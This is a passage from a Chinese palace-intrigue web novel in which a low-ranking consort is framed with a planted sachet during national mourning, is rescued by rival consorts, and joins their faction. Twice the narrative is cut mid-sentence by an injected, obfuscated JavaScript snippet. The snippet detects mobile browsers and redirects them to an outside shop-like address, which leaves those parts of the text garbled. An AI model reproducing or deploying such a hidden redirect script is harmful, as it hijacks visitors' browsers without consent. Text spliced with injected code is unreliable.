林清芷心里一凛,连忙出列,跪在地上,垂首道:“奴婢林清芷,给太后娘娘请安,太后娘娘福寿安康。” “抬起头来,让我看看。”太后的声音依旧温和。 林清芷缓缓抬起头,目光平静地看着太后,不卑不亢,没有丝毫慌乱。太后看着她,端详了片刻,点了点头,缓缓道:“倒是个清秀沉稳的,眉眼间带着一股子安分劲儿。皇上把你放在承乾宫,是你的福气,你要好好当差,安分守己,伺候好皇上,别辜负了皇上的心意。” “奴婢谨记太后娘娘教诲,一定恪守宫规,安分守己,绝不敢有半分逾矩。”林清芷恭恭敬敬地磕了个头,声音平稳,没有丝毫波澜。 太后微微颔首,没再多说什么,目光又扫到了缩在最后面的慎答应许氏,微微挑眉:“这位是慎答应?” 慎答应吓得浑身一颤,连忙跌跌撞撞地出列跪下,头埋得极低,声音都在发抖:“奴、奴婢许氏,给太后娘娘请安,太后娘娘福寿安康。” 太后看着她吓得话都说不利索的样子,忍不住笑了笑,温和道:“别害怕,抬起头来。进了这宫,就是一家人,只要你安分守己,好好当差,没人会为难你。” 慎答应怯生生地抬起头,眼眶都红了,连忙磕了个头:“谢、谢太后娘娘。” 太后没再多说,摆了摆手,让两人都退了回去。又说了几句家常,便以自己累了为由,让众人都散了。 众人再次行礼告退,跟着皇后走出了慈宁宫。 一出慈宁宫的宫门,宫道上的气氛瞬间就变了。宸贵妃停下脚步,转过身,似笑非笑地看着林清芷,开口道:“愉常在倒是个有福气的,不仅皇上把你放在了承乾宫,连太后娘娘都特意提起你,真是让人羡慕。” 林清芷连忙躬身行礼,声音谦卑:“贵妃娘娘谬赞了,奴婢只是个小小的常在,能得皇上和太后娘娘的提点,是奴婢的福气,奴婢只会安分守己,绝不敢有半分非分之想。” 宸贵妃挑了挑眉,看着她这副滴水不漏的样子,笑了笑,没再多说,带着贤嫔和恪贵人转身走了。 懿妃路过林清芷身边时,停下脚步,温和地对她笑了笑,轻声道:“愉常在不必紧张,太后娘娘和皇后娘娘都是宽和的人,你只要安分守己,自然有你的好日子过。” “谢懿妃娘娘提点。”林清芷再次躬身行礼。 懿妃笑了笑,带着淑嫔和惜常在也走了。恪贵人金氏路过时,脚步微微一顿,抬眼看向林清芷,眼神里带着一丝探究与深意,却没说话,只是微微颔首,便转身跟着宸贵妃的轿子去了。 皇后的凤轿就停在不远处,轿帘紧闭,没有掀开,可林清芷清楚,皇后就在轿子里,把这一切都看在了眼里。 她站在宫道上,看着各宫的轿子依次远去,春风卷着她的旗角,微微晃动。清禾上前一步,轻声道:“主子,咱们也回吧。” 林清芷点了点头,抬眼看向远处的承乾宫,阳光正好,照在承乾宫的琉璃瓦上,金光闪闪。 她心里清楚,从今天起,这后宫里所有人,都真正地注意到她了。皇后的试探,太后的关注,宸贵妃的好奇,懿妃的打量,还有金氏的探究,都落在了她的身上。 这深宫里的风起云涌,才刚刚开始。 可她不怕。 她抬手拢了拢鬓边的碎发,眼底闪过一丝坚定的光。她没有靠山,没有阵营,可她有自己,有清醒的头脑,有步步为营的耐心。 她要在这无边无际的深宫黑夜里,守住自己心里的那束光,一步步走下去,走到最高处,活成自己的太阳。 深宫中的光 第从慈宁宫出来的风,比晨起时更添了几分料峭。春日的阳光看着暖,落在身上却驱不散骨子里的寒意,就像这紫禁城的荣宠,看着光鲜,内里全是淬了毒的冰。 林清芷坐在回承乾宫的轿子里,指尖轻轻摩挲着袖口绣着的暗纹,脑子里一遍遍过着今日请安的所有细节。皇后的试探,太后的关注,宸贵妃的明嘲,懿妃的暗捧,还有恪贵人金氏那道带着探究与深意的目光,像一张密密麻麻的网,从她踏进永寿宫的那一刻起,就已经将她牢牢裹住。 她太清楚自己现在的处境了。 承乾宫东偏殿的位置,把她推到了所有人的眼皮子底下。无宠无出,家世普通,位份只是个小小的常在,却占着东六宫之首的偏殿,就像一个明晃晃的靶子。皇后防着她,怕她是皇上安插过来制衡中宫的棋子;宸贵妃盯着她,想把她拉进自己的阵营,用来对付皇后;懿妃看着她,想看看她到底有什么能耐,能不能成为搅乱局势的一把刀。 所谓的中立,从来都只是她一厢情愿的安稳。从太后特意开口叫她的那一刻起,这后宫里,就再也没有她能藏身的角落了。 “主子,承乾宫到了。”轿子稳稳落地,清禾的声音在轿外响起,打断了林清芷的思绪。 她定了定神,扶着清禾的手下了轿,抬眼看向这座气派的宫殿。明黄色的琉璃瓦在阳光下闪着光,朱红的宫墙厚重冰冷,正殿的门紧闭着,只有她住的东偏殿开着门,宫女太监们垂首站在门口,恭恭敬敬地迎她回来。 “都散了吧,不用在跟前守着。”林清芷淡淡吩咐了一句,抬脚走进了东偏殿。 殿里早就烧好了地龙,暖融融的,隔绝了外面的寒风。清秀连忙上前给她解下身上的素色披风,清禾端来了温热的参茶,轻声道:“主子,今日跑了一上午, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344789|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是永寿宫又是慈宁宫的,想必累坏了。奴婢已经让小厨房备好了热水,您泡个澡解解乏吧?” 林清芷接过参茶抿了一口,暖意顺着喉咙滑下去,驱散了一身的寒意与疲惫。她点了点头:“好,备着吧。” 半个时辰后,沐浴的香汤已经备好。清禾和清秀守在屏风外,林清芷坐在浴桶里,温热的水漫过肩头,带着淡淡的安神香气息,紧绷了一上午的神经终于慢慢放松下来。 她闭着眼睛,脑子里却依旧清明。 今日在慈宁宫,太后看似是随口提起她和慎答应,实则是在敲打所有人。太后看重皇嗣,对有皇子的妃嫔多有安抚,对她们这些无宠无出的低位份妃嫔,看似温和,实则是在观察。太后是先帝的继后,一手扶持皇上登基,最看重的就是后宫的平衡,绝不会让皇后一家独大,也不会让宸贵妃恃宠而骄。 而皇上把她放在承乾宫,用意也正在此。他需要一个人,一个看似无依无靠、不会威胁到任何一方,却又足够聪明、能看懂局势的人,来打破后宫三派鼎立的僵局,来做那枚平衡各方的棋子。 可她林清芷,从来都不想做任何人的棋子。 “主子,水快凉了,奴婢给您添点热水吧?”清禾的声音在屏风外响起。 林清芷睁开眼,应了一声:“不用了,这就出来。” 她起身擦干身上的水,换上了一身月白色的素棉寝衣,料子柔软亲肤,是最家常的款式。头发还湿漉漉地披在身后,发梢滴着水,落在寝衣的领口,晕开一小片浅浅的湿痕。清秀拿了干净的帕子,给她擦着湿发,清禾则去收拾浴桶里的东西,殿里安安静静的,只有帕子擦过发丝的轻响。 就在这时,殿外突然传来了守门太监压低了声音的通报:“主子,恪贵人娘娘驾到——” 这句话像一块石头,瞬间打破了殿里的平静。 清秀擦头发的手猛地一顿,脸上瞬间变了颜色,慌慌张张地看向林清芷:“主子!恪贵人娘娘怎么来了?!” 清禾也快步从里间走了出来,眉头紧紧皱起,语气里满是警惕:“主子,恪贵人是宸贵妃阵营的人,这个时候突然到访,怕是来者不善。您现在还穿着寝衣,头发也没梳,不方便见客,要不奴婢去回了,说您已经歇下了?” 林清芷坐在梳妆台前,看着铜镜里自己素面朝天、湿发披肩的样子,指尖轻轻敲了敲桌面,眼底闪过一丝了然。 她早该想到的。今日在慈宁宫,太后特意提起了她,把她推到了所有人的面前,宸贵妃那边不可能没有动作。只是她没想到,金氏会来得这么快,这么急,甚至连一点缓冲的时间都不给她留。 更没想到,金氏会亲自来。 她是贵人,位份比自己这个常在高一级,按规矩,本该是她去给金氏请安,哪有高位份的主子主动登门拜访低位份常在的道理?这不合规矩,更不合常理。 事出反常必有妖。 金氏这一趟,绝不是随便来看看的,她的目的,昭然若揭——拉拢。 “不用回。”林清芷缓缓开口,声音平静,没有丝毫慌乱,“她既然来了,就没有不见的道理。躲得了初一,躲不了十五,该来的,总会来的。” 她抬眼看向清禾,吩咐道:“去把我那件石青色的常服拿过来,再给我梳个简单的发髻,别让贵客等久了。” “可是主子,您的头发还湿着……”清秀急道。 “无妨,简单挽起来就好。”林清芷站起身,快步走到内间,换上了清禾拿来的常服。依旧是素净的料子,没有任何绣纹,却端庄得体,挑不出半分错处。清秀手忙脚乱地给她把湿发挽成一个简单的垂鬟分肖髻,只用两支素银簪子固定住,脸上连一点薄粉都来不及施,就这么素面朝天的,快步走到了外殿。 刚站定,殿外就传来了脚步声,守门太监高声唱喏:“恪贵人娘娘到——” 林清芷连忙整理好衣容,快步走到殿门口,恭恭敬敬地垂首站着,对着迎面走来的金氏行了个标准的蹲礼:“奴婢林清芷,给恪贵人娘娘请安,娘娘吉祥。” 金氏就站在殿门口,一身湖蓝色的素缎常服,头上只插了一支珍珠簪子,素净却不失体面。她今年二十岁,和林清芷同岁,眉眼清秀,看着温婉无害,可眼底却藏着一丝不易察觉的精明与深沉。她看着跪在自己面前的林清芷,嘴角勾起一抹温和的笑意,快步上前,伸手虚扶了一把:“愉常在快起来,不必多礼。我就是闲来无事,过来看看你,不用这么拘礼。” “谢娘娘。”林清芷顺势起身,垂首站在一侧,做出恭谨的样子,侧身引着金氏往殿里走,“娘娘大驾光临,奴婢这偏殿蓬荜生辉,快请上座。” 金氏也不客气,径直走到殿里的上首位置坐下。清禾连忙端上了热茶,恭恭敬敬地放在她手边,又给林清芷端了一杯,便和清秀一起退到了殿门口,守在外面,警惕地看着四周,耳朵却竖得高高的,听着殿里的动静。 殿里一时间静了下来,只有茶盏落在桌面上的轻响。 4. 遭到陷害,白氏所救 天刚蒙蒙亮,承乾宫东偏殿的窗棂上,就透进了一层薄薄的晨光。料峭的春风卷着檐角的铜铃,发出细碎的声响,像极了这后宫里永远停不下来的窃窃私语。 林清芷早早就醒了,坐在梳妆台前,看着铜镜里的自己。清秀正给她梳着两把头,依旧是最简单的发髻,只插了两支素银簪子,连半分绒花都不敢戴。脸上素面朝天,连最淡的素粉都没施,一身月白色的素缎常服,没有任何绣纹,规矩得挑不出半分错处。 “主子,再检查一遍吧,确保身上半点香气都没有。”清禾拿着素色的帕子,仔细地拂过林清芷的袖口、衣襟,语气里满是警惕,“昨天恪贵人刚走,皇后娘娘那边肯定记恨上您了,今天请安,指不定会出什么幺蛾子,咱们半点差错都不能出。” 林清芷看着铜镜里自己平静的眉眼,指尖轻轻敲了敲梳妆台的桌面,眼底闪过一丝了然。她怎么会不知道?昨天她拒绝了金氏的拉拢,等于把宸贵妃党推到了对面,而皇后那边,早就把她当成了眼中钉,如今她两面不讨好,今天的永寿宫请安,注定是一场鸿门宴。 “不用查了,该准备的都准备好了。”林清芷缓缓开口,声音平静,“是福不是祸,是祸躲不过。皇后要是真想找我的麻烦,就算我身上半点错处都没有,她也能找出理由来。我们能做的,就是见招拆招,兵来将挡。” 她顿了顿,补充道:“记住,今天不管发生什么,都不要乱了阵脚,看好咱们自己的人,别被人抓住把柄。” 清禾和清秀连忙躬身应道:“奴婢记住了。” 卯时正,林清芷带着两个侍女,坐着轿子往永寿宫去了。轿子走在寂静的宫道上,两旁的宫墙高耸冰冷,把晨光都挡在了外面,像一张密不透风的网,压得人喘不过气。 到永寿宫的时候,宫门已经开了,各宫的轿子停了满满一院子。林清芷下了轿,整理好衣容,快步走进了偏殿。 偏殿里已经坐满了人,泾渭分明地分成了三派。 上首左侧,宸贵妃安氏端坐着,一身石青色的素缎常服,头上戴着一支东珠簪子,眉眼间带着惯有的骄纵,漫不经心地拨弄着手上的素银镯子。贤嫔江氏坐在她下首,脸上带着拘谨,时不时给宸贵妃添茶,恪贵人金氏坐在另一侧,垂着眼,安安静静的,看到林清芷进来,抬眼扫了她一眼,眼底闪过一丝深意,又很快垂下了眼。 上首右侧,懿妃白氏端坐着,一身湖蓝色的素服,眉眼温和,正和身侧的淑嫔陈氏低声说着什么,语气轻柔。惜常在池氏站在她身后,垂首站着,连头都不敢抬。 靠近门口的位置,恬贵人何氏坐着,一身月白色的常服,看到林清芷进来,嘴角勾起一抹带着敌意的冷笑,眼神里满是不屑。她是皇后党的心腹,自然是唯皇后马首是瞻,早就把林清芷当成了眼中钉。 最末的位置,慎答应许氏缩在角落,看到林清芷进来,怯生生地抬了抬头,又飞快地低下头,手指紧紧攥着帕子,一副受惊的样子。 林清芷目不斜视,快步走到末位,对着上首的宸贵妃和懿妃行了个蹲礼,恭恭敬敬道:“嫔妾给宸贵妃娘娘请安,给懿妃娘娘请安。” “起来吧。”宸贵妃摆了摆手,似笑非笑地看着她,“愉常在倒是来得早,看来今天是做好了准备,来给皇后娘娘请安的。” 这话里有话,林清芷自然听得懂,她垂首道:“给皇后娘娘晨昏定省,是嫔妾的本分,不敢怠慢。” 懿妃温和地笑了笑,开口道:“愉常在不必拘礼,找个位置站定吧。时辰还早,皇后娘娘还没出来呢。” “谢懿妃娘娘。”林清芷再次躬身道谢,走到了慎答应旁边的位置,垂首站定。她是常在,位份低微,在贵妃、妃、嫔这些主位面前,没有落座的资格,这份规矩,她守得死死的。 她刚站定,恬贵人何氏就站了起来,故意走到她身边,装作整理裙摆的样子,和她撞了一下。林清芷下意识地侧身避开,恬贵人却已经站稳了,对着她冷笑一声,压低了声音,用只有两人能听到的音量道:“别以为占着承乾宫就了不起了,一个小小的常在,也敢在后宫里横冲直撞,今天有你好果子吃。” 林清芷抬眼看向她,眼底闪过一丝警惕,面上却依旧平静,淡淡道:“恬贵人娘娘说笑了,嫔妾不敢。嫔妾素来安分守己,绝不会碍了娘娘的眼。” “安分守己?”恬贵人嗤笑一声,转身走回了自己的位置,没再多说什么。 林清芷的心里却咯噔一下,下意识地摸了摸自己的袖口、衣襟,没有摸到任何异样的东西。她知道,恬贵人刚才那一下,绝对没安好心,可她检查了一遍,什么都没发现,只能提高警惕,心里做好了万全的准备。 没过多大会儿,殿外传来了太监的高声唱喏:“皇后娘娘驾到——” 所有人瞬间起身,整理好衣容,快步走进正殿,按照位份依次站好,恭恭敬敬地垂首站着。皇后沈氏身着明黄色的素凤袍,头戴九尾凤簪,缓步走了进来,身姿挺拔,威仪十足,径直走到上首的凤椅上坐下。 “嫔妾给皇后娘娘请安,皇后娘娘千岁千岁千千岁。”众人齐齐跪下,行三跪九叩的大礼,声音整齐划一,在寂静的正殿里响起。 “都起来吧。”皇后的声音平静无波,却带着不容置疑的威严,目光冷冷地扫过下方众人,最后落在了林清芷的身上,停留了片刻,才缓缓移开。 林清芷垂首站着,能清晰地感受到那道带着审视与寒意的目光,像刀子一样,刮在她的身上。她心里清楚,今天这场局,已经布好了,就等她往里跳了。 众人起身,按照位份依次站好,皇后端起茶盏,轻轻抿了一口,缓缓开口道:“今天叫你们过来,除了例行晨昏定省,还有一件事要叮嘱你们。先帝驾崩未满百日,国丧期还没过,宫里的规矩,都给本宫牢牢记住了。禁用一切丝竹宴饮,禁用一切香饰脂粉,禁用一切荤腥酒肉,但凡有敢违制的,就是对先帝大不敬,本宫绝不轻饶,轻则降位禁足,重则打入冷宫,甚至赐死,听明白了吗?” “嫔妾谨遵皇后娘娘教诲,绝不敢违制。”众人齐齐躬身应道。 皇后的嘴角勾起一抹冰冷的笑意,放下茶盏,话锋一转,目光再次落在林清芷身上,缓缓道:“只是本宫听说,有人把本宫的话当成耳旁风,表面上安分守己,背地里却不守规矩,罔顾礼法,对先帝大不敬啊。” 这句话一出,正殿里瞬间静得连根针掉在地上都能听见。所有人的目光,都齐刷刷地落在了林清芷的身上,有好奇,有看戏,有幸灾乐祸,有隐晦的担忧。 林清芷的心里一凛,面上却依旧平静,垂首站着,没有说话。她知道,该来的,终于来了。 果然,她刚想到这里,恬贵人何氏就快步出列,对着皇后行了个蹲礼,义正辞严地开口道:“皇后娘娘,嫔妾有话要说!” “哦?恬贵人有什么话,只管说。”皇后淡淡道,眼底闪过一丝不易察觉的笑意。 恬贵人转过身,伸手指着林清芷,高声道:“皇后娘娘,嫔妾方才在偏殿,无意间闻到愉常在身上,有淡淡的甜香气息!如今国丧未满百日,按规矩禁用一切香饰脂粉,愉常在身带香气,定然是私藏了香包或是脂粉,此举不仅是违制,更是对先帝大不敬,对皇后娘娘大不敬!请皇后娘娘明察!” 这句话,像一颗炸雷,在正殿里炸开了。 谁都知道,国丧期间私带香饰,是足以掉脑袋的重罪。先帝尸骨未寒,任何违制之举,都会被冠上“大不敬”的罪名,哪怕是位份再高的妃嫔,都担不起这个罪责,更何况是林清芷这个无依无靠的小小常在。 林清芷猛地抬起头,看向恬贵人,眼底闪过一丝冷意,快步出列,跪在地上,对着皇后恭恭敬敬地磕了个头,朗声道:“皇后娘娘明鉴!嫔妾冤枉!嫔妾深知国丧规矩,从不敢有半分违制,身上绝无任何香饰脂粉,更不敢对先帝有半分不敬!恬贵人娘娘所言,纯属污蔑!” “污蔑?”恬贵人冷笑一声,对着皇后道,“皇后娘娘,嫔妾有没有污蔑,搜一搜就知道了!若是愉常在身上没有香包脂粉,嫔妾甘愿受罚!可若是搜出来了,还请皇后娘娘严惩不贷,以正宫规!” 皇后看着跪在地上的林清芷,脸上露出震怒的神色,一拍桌案,厉声道:“放肆!愉常在,你好大的胆子!先帝尸骨未寒,你竟敢做出此等违制大不敬之事!来人!给本宫搜!” 立刻就有两个掌事嬷嬷上前,走到林清芷面前,恭恭敬敬道:“愉常在娘娘,得罪了。” 林清芷跪在地上,指尖紧紧攥着帕子,心里清楚,现在反抗,只会落得个抗旨不尊的罪名,只能任由她们搜身。她抬眼看向皇后,又扫了一眼旁边一脸得意的恬贵人,眼底闪过一丝了然——这场局,从恬贵人在偏殿撞她那一下开始,就已经布好了。 果然,不过片刻,两个嬷嬷就从林清芷的右侧袖口夹层里,搜出了一个小小的、绣着海棠花的香包。那香包用的是粉色锦缎,绣线是银闪闪的云锦线,哪怕隔着几步远,都能闻到淡淡的甜香气息,在这满是素色、毫无香气的正殿里,格外扎眼。 掌事嬷嬷捧着香包,快步走到皇后面前,跪下来道:“皇后娘娘,果然从愉常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344790|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在娘娘的袖口夹层里,搜出了这个香包。” 皇后拿起香包,放在鼻尖闻了闻,脸色瞬间变得铁青,猛地把香包砸在林清芷面前的地上,厉声道:“愉常在!人证物证俱在,你还有什么话好说?!你好大的胆子!竟敢在国丧期间私藏香包,罔顾礼法,对先帝大不敬!如此目无宫规,目无尊卑,留你在后宫,只会祸乱宫闱!来人!把她拖下去,打入冷宫,听候发落!” 殿外的侍卫立刻就冲了进来,钢靴踩在金砖地面上,发出沉重的声响,就要上前架住林清芷的胳膊。 林清芷跪在地上,猛地抬起头,高声道:“皇后娘娘!嫔妾冤枉!这个香包根本不是嫔妾的!是有人栽赃陷害嫔妾!嫔妾根本就没有见过这个香包!” “栽赃陷害?”恬贵人冷笑一声,上前一步,对着皇后道,“皇后娘娘,愉常在这是死到临头还嘴硬!这香包是从她身上搜出来的,不是她的是谁的?难不成还是嫔妾塞给她的不成?她一个小小的常在,谁会闲着没事陷害她?我看她就是心存侥幸,不把宫规放在眼里,不把先帝放在眼里!” “你!”林清芷看向恬贵人,眼底闪过一丝冷意,“恬贵人娘娘,方才在偏殿,你故意撞了嫔妾一下,是不是就是那个时候,把香包塞进了嫔妾的袖口?你我无冤无仇,为何要如此陷害嫔妾?” “你胡说八道!”恬贵人瞬间变了脸色,厉声喝道,“我什么时候撞过你?你别血口喷人!自己犯了错,还想拉我下水,我看你是疯了!” 皇后冷冷地看着跪在地上的林清芷,不耐烦地对着侍卫道:“还愣着干什么?把这个目无宫规、满口胡言的贱婢,给本宫拖下去!” 侍卫立刻上前,冰凉的手就要碰到林清芷的胳膊。 就在这时,一道带着冷笑的声音,突然在正殿里响起,硬生生止住了侍卫的动作:“皇后娘娘,未免太心急了吧?事情还没查清楚,就急着把人打入冷宫,这未免也太不合规矩了。” 所有人都愣住了,循声望去,只见宸贵妃安氏缓缓站起身,整理了一下衣摆,缓步走到了殿中。她身姿挺拔,眉眼间带着世家贵女的骄纵与底气,哪怕面对中宫皇后,也没有半分怯意。 皇后的脸色瞬间沉了下来,看向宸贵妃,冷冷道:“宸贵妃,你这是什么意思?本宫处理违制的宫妃,难道还要经过你的同意不成?” “嫔妾不敢。”宸贵妃对着皇后微微躬身,语气里却没有半分恭敬,“只是皇后娘娘也说了,要以正宫规。既然要正宫规,就得把事情查得清清楚楚,明明白白,不能冤枉了好人,也不能放过了真正犯错的人,对吧?不然传出去,人家只会说皇后娘娘处事不公,偏听偏信,岂不是坏了皇后娘娘的贤名?” 皇后的脸色更加难看,却又不好发作。宸贵妃出身镇国公府,其父手握京畿兵权,在朝中的势力不比沈家差,新帝刚登基,根基未稳,她还不能和宸贵妃彻底撕破脸。她只能压下火气,冷冷道:“人证物证俱在,还有什么不清楚的?香包是从愉常在身上搜出来的,难道还有假?” “香包是从她身上搜出来的,不代表就是她的。”宸贵妃冷笑一声,弯腰捡起地上的香包,拿在手里把玩着,抬眼看向恬贵人,似笑非笑地开口道,“恬贵人,你说这个香包是愉常在的,那你倒是说说,这香包上的绣线,是什么线?这绣法,是哪里的绣法?” 恬贵人的脸色瞬间白了,眼神里闪过一丝慌乱,支支吾吾道:“我、我怎么知道?这是愉常在的东西,我怎么会清楚?” “你不知道?”宸贵妃嗤笑一声,提高了音量,“那本宫来告诉你!这绣线,是去年年底江南织造府进贡的云锦线,一共就只有八匹,先帝只赏给了太后娘娘、皇后娘娘、本宫、懿妃,还有你恬贵人!其余的,都锁在内务府库里,位份不够的,根本连见都见不到!愉常在只是个小小的常在,内务府根本不可能给她这种云锦线,她拿什么来绣这个香包?!” 这句话一出,正殿里瞬间一片哗然。所有人都看向恬贵人,眼神里满是了然与玩味。 恬贵人的脸瞬间白得像纸,浑身都在发抖,连忙对着皇后跪下,哭着道:“皇后娘娘!不是的!嫔妾没有!这香包不是嫔妾的!嫔妾不知道!” 皇后的脸色铁青,看着跪在地上的恬贵人,眼底闪过一丝怒意,却还是想保她,冷冷道:“就算这绣线是赏给恬贵人的,也不能证明这香包就是恬贵人的,说不定是愉常在从哪里偷来的,或是别人给她的,不足为证。” “哦?皇后娘娘非要这么说,那嫔妾还有证据。”宸贵妃挑了挑眉,对着殿外喊了一声。 5. 患难真情,结党白氏 前来的宫女,正是恪贵人金氏的贴身宫女锦儿。 宸贵妃指着那个宫女,道:“皇后娘娘,这是恪贵人身边的宫女锦儿,今天早上在偏殿,她亲眼看到,恬贵人借故撞到愉常在,把什么东西塞进了愉常在的右侧袖口。锦儿,把你看到的,一字一句地说出来,给皇后娘娘听听。” 锦儿恭恭敬敬地磕了个头,朗声道:“回皇后娘娘的话,今日卯时二刻,奴婢跟着我家主子到永寿宫偏殿,亲眼看到恬贵人娘娘走到愉常在娘娘身边,装作整理裙摆,撞到了愉常在娘娘的右肩,然后把一个小小的东西,塞进了愉常在娘娘的右侧袖口夹层里。奴婢不敢欺瞒皇后娘娘,句句属实。” 这句话,像一把沉甸甸的实锤,狠狠砸在了恬贵人的身上。 恬贵人瞬间瘫软在地上,脸色惨白,连哭都哭不出来了,只是一个劲地摇头:“不是的……不是的……她撒谎……皇后娘娘,嫔妾冤枉啊……” 就在这时,一直安安静静坐在位置上的恪贵人金氏,缓缓站起身,走到殿中,对着皇后躬身道:“皇后娘娘,锦儿是嫔妾的贴身宫女,素来老实本分,从不敢撒谎。除了锦儿,当时偏殿门口的两个守殿太监,也看到了恬贵人娘娘的举动,皇后娘娘若是不信,大可把他们叫来问话。” 她顿了顿,又补充道:“还有,嫔妾这里,还有一样东西,可以证明这香包是恬贵人娘娘的。去年腊月,恬贵人娘娘给嫔妾送过一方亲手绣的帕子,上面的海棠花绣法,和这个香包上的绣法,一模一样,都是苏绣里的双面绣,整个后宫里,只有恬贵人娘娘身边的绣娘,精通这种绣法。皇后娘娘若是不信,嫔妾可以让人立刻把帕子取来,比对一下。” 金氏的话,条理清晰,证据确凿,每一句都戳在要害上,根本不给恬贵人任何辩解的余地。 林清芷跪在地上,看着站在殿中的金氏,眼底闪过一丝了然。她终于明白,今天这场局,金氏早就料到了,甚至提前布好了后手,就等着恬贵人跳进来。既能救她于危难,又能打皇后的脸,还能顺势把她拉进阵营,一举三得,果然好手段。 皇后看着瘫软在地上的恬贵人,又看了看一脸不依不饶的宸贵妃和证据确凿的金氏,脸色铁青,指甲深深掐进了掌心。她知道,今天这事,她保不住恬贵人了,再保下去,只会引火烧身,落得个纵容下人、栽赃陷害的名声。 她猛地一拍桌案,对着瘫在地上的恬贵人厉声道:“恬贵人!你好大的胆子!竟敢在本宫面前,栽赃陷害同宫姐妹,欺瞒本宫,罔顾宫规!你眼里还有本宫,还有宫规吗?!” 恬贵人哭着磕头,额头都磕出了血印:“皇后娘娘!嫔妾错了!嫔妾一时糊涂!求皇后娘娘饶命啊!” “饶命?”皇后冷冷道,“你做出此等卑劣之事,还敢求本宫饶命?来人!恬贵人以下犯上,栽赃陷害,扰乱宫闱,罚禁足永和宫三个月,罚俸半年,每日抄写宫规十遍,好好反省!” 这个惩罚,看似不轻,实则是避重就轻,保住了恬贵人的位份和性命。宸贵妃挑了挑眉,想说什么,却被金氏用眼神拦住了。金氏微微摇了摇头,示意她见好就收——毕竟现在还不是和皇后彻底撕破脸的时候,能打皇后的脸,救下林清芷,目的就已经达到了。 宸贵妃冷哼一声,没再多说什么。 皇后处理完恬贵人,才看向跪在地上的林清芷,脸色缓和了几分,开口道:“愉常在,方才是本宫误会你了,你受委屈了。起来吧。” 林清芷恭恭敬敬地磕了个头,道:“谢皇后娘娘明察,能还嫔妾清白,嫔妾不委屈。” 她缓缓站起身,垂首站在一旁,脸上没有丝毫得意,也没有丝毫怨怼,依旧是那副恭谨安分的样子,挑不出半分错处。 皇后看着她,眼底闪过一丝复杂,却没再多说什么,摆了摆手:“行了,今天的事就到这里,你们都散了吧。往后都给本宫安分守己,再敢有兴风作浪、栽赃陷害之事,本宫绝不轻饶。” “嫔妾谨遵皇后娘娘教诲。”众人齐齐躬身应道,依次告退,走出了永寿宫正殿。 一出永寿宫的宫门,宫道上的风瞬间吹了过来,带着料峭的寒意。林清芷站在宫门口,看着远处的宫墙,轻轻舒了口气。刚才在殿里,只差一步,她就被打入冷宫了,若不是宸贵妃和金氏出手相救,她今天就彻底栽了。 “愉常在,请留步。” 身后传来了金氏的声音,林清芷转过身,只见宸贵妃和金氏正站在不远处,看着她。她连忙快步走上前,对着宸贵妃和金氏行了个蹲礼,恭恭敬敬道:“嫔妾给宸贵妃娘娘请安,给恪贵人娘娘请安。今日之事,多谢两位娘娘出手相救,嫔妾感激不尽,没齿难忘。” 宸贵妃看着她,似笑非笑地开口道:“现在知道谢了?昨天我让恪贵人去找你,给你指一条明路,你不是不愿意吗?怎么,今天被皇后摆了一道,知道单打独斗,在这宫里活不下去了?” 林清芷垂首道:“嫔妾之前愚钝,不识好歹,辜负了娘娘的好意。今日之事,让嫔妾彻底明白了,在这深宫里,没有娘娘的庇护,嫔妾寸步难行。若是娘娘不嫌弃,嫔妾愿意加入娘娘的阵营,以后唯娘娘马首是瞻,绝无二心。” 她说得诚恳,眼底满是感激,可只有她自己心里清楚,这份归顺,有几分真心,几分假意。她需要宸贵妃的庇护,需要一个挡箭牌,来应对皇后接下来的明枪暗箭;而宸贵妃需要她这枚住在承乾宫、被皇上“看重”的棋子,来制衡皇后,双方不过是各取所需罢了。 宸贵妃听到她的话,脸上瞬间露出了笑意,满意地点了点头:“好,很好。你能想通,就最好不过了。往后,你就是我宸贵妃这边的人了,有本宫在,皇后再也不敢明目张胆地陷害你,这后宫里,没人敢再欺负你。” “谢娘娘。”林清芷再次躬身道谢。 金氏站在一旁,看着林清芷,眼底闪过一丝深意,对着她微微颔首,笑了笑,没多说什么。她心里清楚,林清芷的归顺,未必是全然的真心,可没关系,只要她站在这边,就是一股能对抗皇后的力量,至于真心假意,往后日子还长,有的是时间慢慢磨。 宸贵妃又叮嘱了几句,让她有空多去咸福宫走动,便带着金氏上了轿子,浩浩荡荡地走了。 林清芷站在宫道上,看着轿子远去的背影,缓缓直起身。清禾和清秀快步走到她身边,脸上满是后怕:“主子,刚才可吓死奴婢了!差点就……” “没事了。”林清芷打断了她们的话,抬眼看向远处的承乾宫,阳光正好,照在琉璃瓦上,金光闪闪。 她心里清楚,从她说出愿意归顺宸贵妃的那一刻起,她就再也没有回头的路了。她正式卷入了这后宫的纷争里,成了宸贵妃党手里的一把刀,要和皇后党不死不休。 可她不怕。 这份归顺,从来都不是真心的。她只是借着宸贵妃的势力,给自己找一个喘息的机会,在这深宫里,先活下去。她不会做任人摆布的棋子,她要借着这阵营的掩护,暗中布局,一步步壮大自己的力量,守住自己心里的那束光。 这深宫的黑夜还很长,可她知道,只要守住自己的清醒和坚定,总有一天,她能走出这无边的黑暗,活成自己的太阳。 深宫中的光 第五章奉先祭月,宗室惊澜 